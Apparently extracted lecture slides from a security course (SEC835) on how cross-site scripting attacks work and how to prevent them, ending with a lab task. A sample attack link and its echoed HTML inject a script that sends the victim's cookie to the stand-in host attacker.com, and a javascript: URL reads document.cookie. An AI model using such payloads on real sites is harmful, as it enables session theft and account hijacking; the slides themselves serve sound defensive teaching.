Upload
eunice-lucas
View
230
Download
5
Embed Size (px)
Citation preview
SEC835
Prevent Cross-Site
Scripting (XSS) attack
Cross-Site ScriptingInstead of attacking the application’s server platform, Cross-Site Scripting (XSS) attacks are aimed at the users’ client browsers.A Cross Site Scripting vulnerability allows the introduction of malicious content (scripts) on a web site, that is then served to users (clients) • Malicious scripts get executed on clients
that trust the web site• Problem with potentially all client-side
scripting languagesWe use “XSS” to refer to these vulnerabilities, so as to avoid confusion with “CSS” (cascading style sheets)
Cross-Site Scripting (XSS) AttacksA classical XSS attack works this way:
The attacker identifies a web site that has one or more XSS bugs (for example echoing data input, or lacking data input validation)The attacker crafts a special URL that includes a malformed and malicious querystring containing HTML and scriptThe attacker finds a victim and gets him to click the linkThe victim clicks the link and the victim’s browser makes a GET request to the vulnerable server, passing the malicious querystring. And cookies. The vulnerable server echoes malicious input, including the script, back to the victim’s browserThe victim’s browser executes the malicious script, which may be crafted to pass data from the victim to the attacker, or other actions
Cross-Site Scripting Effects
This might reveal session identifiers and other sensitive data stored in form values.
Cookies may be changed
The attacker can replay cookies to reach the domain content previously available to the victim only
Remote-control of the browser by an attacker is also possible through advanced scripts
Legitimate sites spoofed
Cross-Site Scripting Attack in Action
1. The attacker sends a victim a link containing a malicious payload.
2. The victim, tricked into clicking the link, sends a request (and the payload) to the vulnerable application interface.
3. The interface (i.e. a user registration form) accepts the request (and payload), and responds with a confirmation screen. Embedded in the confirmation screen is the malicious code, which has been formatted in such a way that a browser will interpret it as if it were any other JavaScript code.
4. When the victim receives the response, the browser executes the payload, which could send cookie values (including session identifiers) and other sensitive data to the attacker.
Cross-Site Scripting Attack sample
A sample attack link (to view cookie values) might look like this:https://vulnserver.com/vulninterface.cgi?FirstName=Bob&EmailAddress=x”><script>document.location%3d‘http://attacker.com/c=‘+document.cookie;</script><“When the server sends back its response, the HTML code will be formatted as follows:…<form action=“…”>
Thank you for registering!<input name=“FirstName” value=“Bob”><input name=“EmailAddress”
value=“x”><script>document.location=‘http://attacker.com/c=‘+document.cookie;</script><“”></form>…The result is that the <script> block is executed and an entry will be made in the attacker’s web server log which includes the content of a victim’s cookie.
Common XSS Attack Vectors
Search engines that echo the search keyword that was enteredError messages that echo the string that contained the errorForms that are filled out where values are later presented to the userWeb message boards that allow users to post their own messages
Is there a need of ‘click”?
No, there is not
Script execution may be initiated by many other means, for example by a mouseover event, or onload, or other
XSS Vulnerability – Type 2XSS Type 2 has been implemented via
Stored data Local html files stored on a user’s computerHTML help filesHTML resources
XSS Vulnerability – Type 2XSS Type 2 has been implemented via stored data
The attacker enters comments or text that contains an embedded script, in a forum, newsgroup, feedback section of a web site, etc...The malicious code is stored by the vulnerable site, and presented to visitors. Each instance can be thought of as a "mine".The victim reads the comments. The attacker’s code is executed on the victim’s computer.
JavaScript urlsJavaScript urls have the format "javascript:code"• An example JavaScript url is
javascript:alert("Hello World")• Type it in your browser's address bar, watch the alert
window popup• Works also in HTML links
"javascript:alert(document.cookie)"JavaScript urls could be injected into the history list and then executed in the local machine zone or some other zone
Indirect Ways to Inject CodeActionScript (Flash) can load a JavaScript script from a url• Flash objects can be specified with the
<embed> tag• ActionScript allows the getURL("url")
function call• The url can be a JavaScript url!
Forums that allow Flash content are vulnerable• People viewing the Flash content get a
trojan JavaScriptSee http://www.cgisecurity.com/lib/flash-xss.htm
XSS attacks against local HTML files
Local html files stored on the computer may have a predictable location, e.g. My web
Can provide output of user’s input as well
Thus can be used by an attacker to craft XSS
HTML Help files are potentially vulnerable to XSS
XSS Attacks against HTML Resources
Browsers provide the ability to extract and display resources, such as text messages, images, html files, from DLL, or EXE filesIf the resource takes input from the URL and displays that, you might have an XSS issueThis means you should validate resource HTML data. Untrusted HTML input must run through an HTML policy engine to ensure that it does not contain XSS
Prevent Cross-Site Scripting
The strategy for preventing XSS:Filtering user-supplied input for meta-characters that may be interpreted by the client application
Encoding output by converting meta-characters into neutral aliases (i.e. HTML code)
Prevent social engineering• Educate users
Explain what ways of communication are valid
• Include messages to the website to advise about known frauds
Remedies
Strong data input validationBe hard-core about what constitutes valid input
As specific as possible
Provided closer to the data usage
Based on the white-list approach
Validated on the server side
White- vs. Black-List
Remedies
Implemented by web developersEncoding output
Forcing the codepage
Adding double quotes around all tag properties
Inserting data in the innerText property
Browser hardening
Remedies details
Encoding outputConvert dangerous symbols, including html tags, to their html representation
E.g. < becomes <
For ASP use HTMLEncode method
Forcing the codepageSet a codepage explicitly by specifying the allowable charset
Remedies details
Adding double quotes around the tag properties prevent interpretation of the part of the tag, where malicious scripts can be placed
innerText makes a similar effect
Browser hardening and security patching
Lab taskWork on the spreadsheet re Vulnerability
Cell O3 – put your comments
The venues leading to XSS
Work on the spreadsheet re CountermeasuresCells A11 – put your comments
How to prevent XSS
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheethttp://en.wikipedia.org/wiki/Cross-site_scripting